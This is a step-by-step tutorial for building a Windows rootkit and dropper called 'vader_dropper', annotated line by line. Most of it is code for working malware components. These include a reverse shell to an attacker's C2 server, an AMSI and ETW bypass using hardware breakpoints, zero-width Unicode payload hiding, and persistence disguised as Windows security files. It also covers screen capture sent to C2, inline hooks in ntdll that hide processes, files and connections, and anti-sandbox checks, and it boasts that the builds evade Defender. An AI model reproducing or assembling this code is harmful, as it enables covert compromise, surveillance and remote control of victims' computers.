// BUILD FROM SCRATCH — ANNOTATED LINE BY LINE
From zero to working rootkit. Each layer builds on the last. Read in order.
THE REVERSE SHELL — Foundation
Every implant starts here. A TCP socket that connects back to you and pipes cmd.exe through it.
// vader_dropper.c — the core pattern
/* Create a raw TCP socket — WSASocket instead of socket()
to avoid Winsock's default overlapped I/O flag.
Dynamic import: not in the IAT, resolved at runtime via GetProcAddress. */
SOCKET s = fn_WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
/* Connect back to attacker's IP on our C2 port.
"Reverse" shell = target connects TO us. No inbound firewall issue. */
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(53682); // C2 port
addr.sin_addr.s_addr = inet_addr(ip); // attacker IP
fn_WSAConnect(s, (SOCKADDR *)&addr, sizeof(addr), ...);
/* Pipe cmd.exe stdin/stdout/stderr through the socket.
CreateProcess with hidden window — target sees nothing. */
STARTUPINFOA si;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE; // invisible window
si.hStdInput = NULL; // commands come from recv()
si.hStdOutput = hWritePipe; // output goes to send()
si.hStdError = hWritePipe;
fn_CreateProcessA(NULL, "cmd.exe /c ...", ...);
/* Read output from pipe, send to attacker over socket */
while (ReadFile(hReadPipe, buf, 4096, &n, NULL) && n > 0)
send(s, buf, n, 0);
KEY CONCEPT: The shell is a loop. recv() gets commands, CreateProcess runs them, send() returns output. Auto-reconnect wraps this in an outer while(1) with Sleep(5000) between attempts.
AMSI BYPASS — Hardware Breakpoints (Dark Room)
Windows Defender scans every script via AMSI. We blind it using debug registers — no memory modification, no patching, invisible.
// The hardware breakpoint technique — MSRC VULN-195458
/* Step 1: Find AmsiScanBuffer's address in memory.
This is the function Defender calls to scan scripts. */
HMODULE hAmsi = LoadLibraryA("amsi.dll");
void *pAmsi = GetProcAddress(hAmsi, "AmsiScanBuffer");
/* Step 2: Install a Vectored Exception Handler.
This runs BEFORE any other exception handler in the process. */
AddVectoredExceptionHandler(1, DarkRoomHandler);
/* Step 3: Raise a custom exception to trigger DR register setup.
Inside the handler, we set DR0 = AmsiScanBuffer address.
DR7 enables the breakpoint (bits 0-1). */
RaiseException(0x22D1, 0, 0, NULL);
/* Inside DarkRoomHandler — when the custom exception fires: */
ctx->Dr0 = (DWORD64)pAmsi; // break on AmsiScanBuffer
ctx->Dr1 = (DWORD64)pEtw; // break on EtwEventWrite
ctx->Dr7 |= (1 << 0); // enable DR0
ctx->Dr7 |= (1 << 2); // enable DR1
/* When AMSI calls AmsiScanBuffer — CPU hits DR0 breakpoint.
EXCEPTION_SINGLE_STEP fires. Our handler intercepts: */
if (ctx->Rip == pAmsi) {
ctx->Rax = 0x80070057; // return E_INVALIDARG
ctx->Rip = *(DWORD64 *)ctx->Rsp; // skip the function, return to caller
ctx->Rsp += 8; // clean the stack
}
/* AMSI thinks the scan failed. Script executes unscanned. */
WHY THIS WORKS: Hardware breakpoints use CPU debug registers (DR0-DR3), not memory patches. No VirtualProtect, no WriteProcessMemory, no byte modification. Defender can't detect what isn't there. Same technique blinds ETW telemetry via DR1.
GHOST ENCODING — Zero-Width Steganography
Hide payloads in plain sight using invisible Unicode characters. File appears blank to human eyes and text editors.
# ghost_encode.py — the steganographic alphabet
# 16 zero-width Unicode characters represent hex digits 0-F.
# These characters have zero visual width — they render as nothing.
GHOST_ALPHABET = {
'0': '', # ZERO WIDTH SPACE
'1': '', # ZERO WIDTH NON-JOINER
'2': '', # ZERO WIDTH JOINER
'3': '', # WORD JOINER
'4': '', # FUNCTION APPLICATION
'5': '', # INVISIBLE TIMES
'6': '', # INVISIBLE SEPARATOR
'7': '', # INVISIBLE PLUS
'8': '', # BYTE ORDER MARK
'9': '', # SOFT HYPHEN
'a': '͏', # COMBINING GRAPHEME JOINER
'b': '', # ARABIC LETTER MARK
'c': 'ᅟ', # HANGUL CHOSEONG FILLER
'd': 'ᅠ', # HANGUL JUNGSEONG FILLER
'e': '឴', # KHMER VOWEL INHERENT AQ
'f': '', # MONGOLIAN VOWEL SEPARATOR
}
# Encoding: each byte → 2-char hex → 2 invisible chars
def ghost_encode(data):
return ''.join(GHOST_ALPHABET[c] for byte in data
for c in f'{byte:02x}')
# Decoding: 2 invisible chars → hex byte → original data
def ghost_decode(ghost_text):
reverse = {v: k for k, v in GHOST_ALPHABET.items()}
hex_str = ''.join(reverse[c] for c in ghost_text)
return bytes.fromhex(hex_str)
PROTECTION LAYER: Ghost encoding hides payloads from STATIC analysis (AV scanning files on disk). It does NOT protect at runtime — that's Dark Room's job. Two-layer model: Ghost = file layer, Dark Room = runtime layer.
PERSISTENCE — Surviving Reboot
Copy the dropper to a safe location and register it to run on every login.
// vader_dropper.c — install_persistence()
/* Get path of the running EXE */
char selfPath[MAX_PATH];
GetModuleFileNameA(NULL, selfPath, MAX_PATH);
/* Build target path: %APPDATA%\Microsoft\Windows\svchost_update.exe
This directory always exists and blends with legitimate Windows files. */
GetEnvironmentVariableA("APPDATA", appdata, MAX_PATH);
snprintf(targetPath, MAX_PATH, "%s\\Microsoft\\Windows\\%s",
appdata, "svchost_update.exe");
/* Copy self to the target path (skip if already exists) */
if (GetFileAttributesA(targetPath) == INVALID_FILE_ATTRIBUTES)
CopyFileA(selfPath, targetPath, FALSE);
/* Write registry Run key — executes on every user login.
HKCU doesn't need admin privileges. */
RegOpenKeyExA(HKEY_CURRENT_USER,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0, KEY_SET_VALUE, &hKey);
RegSetValueExA(hKey, "SecurityHealthSystray", 0, REG_SZ,
(BYTE *)targetPath, strlen(targetPath) + 1);
RegCloseKey(hKey);
OPSEC: All strings (registry path, value name, filename) are XOR-encrypted in the binary with key 0xBE. Decoded at runtime, used, then zeroed with memset(). Never visible in a hex dump of the EXE.
SCREEN CAPTURE — VNC-Style Remote View
Capture the target's screen using GDI and send raw pixel data over the C2 socket.
// vader_dropper.c — send_screenshot()
/* Get a device context for the entire screen */
HDC hdcScreen = GetDC(NULL); // NULL = entire desktop
int w = GetSystemMetrics(SM_CXSCREEN); // screen width in pixels
int h = GetSystemMetrics(SM_CYSCREEN); // screen height
/* Create a memory DC and bitmap to capture into */
HDC hdcMem = CreateCompatibleDC(hdcScreen);
HBITMAP hBmp = CreateCompatibleBitmap(hdcScreen, w, h);
SelectObject(hdcMem, hBmp);
/* BitBlt — copy screen pixels to our bitmap. SRCCOPY = straight copy. */
BitBlt(hdcMem, 0, 0, w, h, hdcScreen, 0, 0, SRCCOPY);
/* Extract raw 24-bit RGB pixels from the bitmap */
BITMAPINFOHEADER bi;
bi.biWidth = w;
bi.biHeight = -h; // negative = top-down (normal orientation)
bi.biBitCount = 24; // 24-bit RGB — 3 bytes per pixel
GetDIBits(hdcMem, hBmp, 0, h, pixels, &bi, DIB_RGB_COLORS);
/* Send header then raw pixel data over the C2 socket */
snprintf(hdr, 128, "SCREENSHOT|%d|%d|%d\n", w, h, dataSize);
send(s, hdr, hdrLen, 0); // header tells listener dimensions
while (sent < dataSize) {
send(s, pixels + sent, chunk, 0); // stream in 4KB chunks
}
1920x1080 @ 24-bit = ~5.9 MB raw. The C2 listener receives the header, reads exactly dataSize bytes, and saves as BMP. For JPEG compression, use GDI+ (adds ~50 lines but reduces to ~200 KB).
CONCEALMENT — Inline Hooks (Cloak)
Hook NT functions to hide processes, files, and network connections from the OS itself.
// hide_process.c — NtQuerySystemInformation hook
/* NtQuerySystemInformation returns a linked list of SYSTEM_PROCESS_INFORMATION.
Each node has NextEntryOffset (0 = last) and ImageName (process name).
We walk the list and UNLINK nodes that match our hidden process names. */
/* Original call via trampoline — get the real process list */
NTSTATUS status = trampoline_NtQuerySystemInformation(
SystemProcessInformation, buffer, length, returnLength);
/* Walk the linked list and remove our entries */
PSYSTEM_PROCESS_INFORMATION prev = NULL;
PSYSTEM_PROCESS_INFORMATION curr = (PSYSTEM_PROCESS_INFORMATION)buffer;
while (1) {
if (should_hide(curr->ImageName)) {
if (prev == NULL) {
/* Hiding first entry — shift buffer forward */
memmove(buffer, (BYTE*)curr + curr->NextEntryOffset, ...);
} else if (curr->NextEntryOffset == 0) {
/* Hiding last entry — terminate list at prev */
prev->NextEntryOffset = 0;
} else {
/* Hiding middle entry — bridge over it */
prev->NextEntryOffset += curr->NextEntryOffset;
}
}
if (curr->NextEntryOffset == 0) break;
prev = curr;
curr = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)curr + curr->NextEntryOffset);
}
/* The inline hook itself — 12-byte absolute JMP patched into ntdll:
48 B8 [8-byte address] mov rax, hook_function
FF E0 jmp rax
Original bytes saved to a trampoline for calling the real function. */
Same pattern for file hiding (NtQueryDirectoryFile — unlink FILE_BOTH_DIR_INFORMATION nodes) and connection hiding (NtDeviceIoControlFile — filter MIB_TCPROW entries matching C2 port). SetWindowsHookEx(WH_CBT) spreads cloak.dll system-wide automatically.
THE DROPPER — Combining Everything
vader_dropper.c chains all layers into one 268 KB single-click executable.
// vader_dropper.c — WinMain execution flow
int WINAPI WinMain(...) {
/* Phase 0: Anti-sandbox — skip if VM/analysis environment */
if (sandbox_check()) return 0;
// RAM < 2GB? Single core? Sleep accelerated? → bail
/* Phase 0.5: Resolve APIs dynamically — avoid IAT signatures */
resolve_dynamic_imports();
// XOR-decode API names → LoadLibrary → GetProcAddress
// WSASocket, WSAConnect, SetWindowsHookExA, CreateProcessA...
/* Phase 1: Dark Room — blind AMSI + ETW */
activate_dark_room();
// VEH → DR0 on AmsiScanBuffer → DR1 on EtwEventWrite
/* Phase 2: Cloak — deploy concealment DLL */
deploy_cloak();
// XOR-decrypt embedded DLL → drop to %TEMP% → LoadLibrary
// CBT hook → DLL injected into every GUI process
// Process/file/connection hiding active system-wide
/* Phase 2.5: Persistence — survive reboot */
install_persistence();
// Self-copy to APPDATA + registry Run key
/* Phase 3: C2 — reverse shell with auto-reconnect */
while (1) {
SOCKET ch = connect_c2(ip, port);
if (ch != INVALID_SOCKET) {
interactive_loop(ch); // shell + screenshot commands
closesocket(ch);
}
Sleep(5000); // reconnect every 5 seconds
}
}
BUILD: python cloak/build_cloak.py --scan — compiles with MSVC, links ws2_32 + kernel32 + ntdll + user32 + advapi32 + gdi32, runs Defender scan. All 26 binaries across the toolkit scan CLEAN.